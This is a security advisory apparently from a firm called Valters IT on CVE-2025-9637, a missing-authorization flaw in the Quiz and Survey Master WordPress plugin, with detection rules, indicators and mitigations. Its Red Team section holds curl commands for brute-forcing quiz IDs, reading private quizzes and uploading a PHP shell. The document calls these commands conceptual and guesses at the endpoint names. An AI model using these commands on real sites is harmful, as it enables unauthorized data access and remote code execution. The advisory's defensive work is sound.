CVE-2025-9637

Executive Summary

CVE-2025-9637 is a critical vulnerability in the Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker WordPress plugin, affecting all versions up to and including 10.3.1. The flaw arises from missing capability and status checks on multiple functions, allowing unauthenticated attackers to access unpublished, private, or password-protected quizzes and submit file responses (including file uploads) to those quizzes. This leads to unauthorized data disclosure and potential arbitrary file upload, which can be leveraged for remote code execution in a WordPress ecosystem context.

The vulnerability has a CVSS score of 6.5 (Medium) but poses a significant risk due to the lack of authentication required and the potential for file upload abuse. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates and apply patches as soon as they become available. The plugin is not managed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is elevated due to the unauthenticated nature of the attack and the potential for file upload leading to remote code execution. The EPSS score of 0.0% indicates low exploitation likelihood currently, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability resides in the Quiz and Survey Master plugin's REST API endpoints or AJAX handlers. The plugin fails to enforce proper capability checks (e.g., edit_posts, publish_posts) and status checks (e.g., post_status of publish) when processing requests to view quiz details or submit file responses.

Specifically, the following functions are affected:

• Functions that retrieve quiz data (e.g., questions, answers, settings) do not verify if the quiz is published or if the user has permission to view it.
• Functions that handle file uploads for quiz responses do not check if the user is allowed to submit to that quiz or if the quiz is active.

An unauthenticated attacker can:

1. Enumerate quiz IDs and access unpublished/private quizzes by directly calling the vulnerable endpoints.
2. Submit file responses (e.g., PDF, image uploads) to any quiz, potentially uploading malicious files (e.g., PHP shells) if the upload directory is web-accessible.

The missing checks are likely in the plugin's class-qsm-ajax.php or class-qsm-rest-controller.php files.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would include proper capability and status checks.

Vulnerable Code (Conceptual):

// In vulnerable version (<= 10.3.1)
add_action('wp_ajax_nopriv_qsm_get_quiz_data', 'qsm_get_quiz_data');
function qsm_get_quiz_data() {
    $quiz_id = $_POST['quiz_id'];
    // Missing capability check and status check
    $quiz_data = get_quiz_data_by_id($quiz_id);
    echo json_encode($quiz_data);
    wp_die();
}

Patched Code (Conceptual):

// Patched version would include:
add_action('wp_ajax_nopriv_qsm_get_quiz_data', 'qsm_get_quiz_data');
function qsm_get_quiz_data() {
    $quiz_id = intval($_POST['quiz_id']);
    // Check if quiz exists and is published
    $quiz = get_post($quiz_id);
    if (!$quiz || $quiz->post_status !== 'publish' || $quiz->post_type !== 'qsm_quiz') {
        wp_die('Unauthorized', 403);
    }
    // Check capability for viewing
    if (!current_user_can('read_quiz', $quiz_id)) {
        wp_die('Unauthorized', 403);
    }
    $quiz_data = get_quiz_data_by_id($quiz_id);
    echo json_encode($quiz_data);
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with QSM plugin <= 10.3.1
• Knowledge of a quiz ID (can be enumerated)

Exploitation Steps:

1. Enumerate Quiz IDs:

   # Brute force quiz IDs (e.g., 1-1000)
   for i in {1..1000}; do
     curl -s "http://target.com/wp-admin/admin-ajax.php?action=qsm_get_quiz_data&quiz_id=$i" | grep -q "quiz_name" && echo "Found quiz ID: $i"
   done
   

2. Access Unpublished Quiz Data:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=qsm_get_quiz_data&quiz_id=123" | jq .
   

3. Submit File Upload to Quiz:

   # Upload a malicious PHP file as a response
   curl -X POST "http://target.com/wp-admin/admin-ajax.php?action=qsm_submit_response" \
     -F "quiz_id=123" \
     -F "question_id=1" \
     -F "file=@shell.php"
   

4. Access Uploaded File: The uploaded file may be stored in /wp-content/uploads/qsm_responses/ or similar. Access it to execute code.

Note: No public exploit code is available; the above is conceptual.

Blue Team

Detection and Prevention:

• Monitor for unusual AJAX requests to admin-ajax.php with actions like qsm_get_quiz_data, qsm_submit_response, etc., from unauthenticated users.
• Implement Web Application Firewall (WAF) rules to block requests to these actions without authentication.
• Restrict file uploads to only allowed file types and scan uploaded files.
• Use a WordPress security plugin to add capability checks.

Lab Setup:

• Install WordPress with QSM plugin version 10.3.1.
• Create a private quiz and attempt to access it without logging in.
• Monitor logs for unauthorized access attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with parameters action=qsm_get_quiz_data or action=qsm_submit_response from unauthenticated IPs.
  • Unusual file uploads to /wp-content/uploads/qsm_responses/ or similar directories.
  • Access to quiz IDs that are unpublished or private.

• File IOCs:

  • Unexpected files in the uploads directory, especially PHP files.
  • Modified plugin files (e.g., class-qsm-ajax.php) if attacker attempts to patch.

• Log IOCs:

  • WordPress debug log entries showing failed capability checks or unexpected post statuses.
  • Web server access logs with repeated admin-ajax.php requests from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_9637_QSM_Unauthorized_Access {
    meta:
        description = "Detects attempts to exploit CVE-2025-9637 in Quiz and Survey Master plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9637"
    strings:
        $ajax_action = "admin-ajax.php"
        $qsm_action1 = "qsm_get_quiz_data"
        $qsm_action2 = "qsm_submit_response"
        $qsm_action3 = "qsm_get_quiz_list"
    condition:
        $ajax_action and any of ($qsm_action*)
}

Sigma Rule

title: CVE-2025-9637 QSM Unauthorized Quiz Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to Quiz and Survey Master plugin functions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'admin-ajax.php?action=qsm_get_quiz_data'
            - 'admin-ajax.php?action=qsm_submit_response'
            - 'admin-ajax.php?action=qsm_get_quiz_list'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (if patched)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9637 QSM Unauthorized Quiz Access"; flow:to_server; content:"admin-ajax.php"; http_uri; content:"action=qsm_get_quiz_data"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-9637 QSM Unauthorized File Upload"; flow:to_server; content:"admin-ajax.php"; http_uri; content:"action=qsm_submit_response"; http_uri; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to the vulnerable AJAX actions.
3. Restrict file uploads via server configuration (e.g., disable PHP execution in upload directories).

Long-term Fix:

• Apply the official patch from the plugin vendor once released.
• Update to a patched version (monitor the WordPress plugin repository).
• Conduct a security audit of the plugin code to ensure proper capability checks.

Workaround:

• Add custom code to your theme's functions.php to enforce capability checks:

  add_action('init', function() {
      if (defined('DOING_AJAX') && DOING_AJAX) {
          $action = $_REQUEST['action'] ?? '';
          $vulnerable_actions = ['qsm_get_quiz_data', 'qsm_submit_response'];
          if (in_array($action, $vulnerable_actions) && !is_user_logged_in()) {
              wp_die('Unauthorized', 403);
          }
      }
  });
  

Valters IT
Securing Digital Frontiers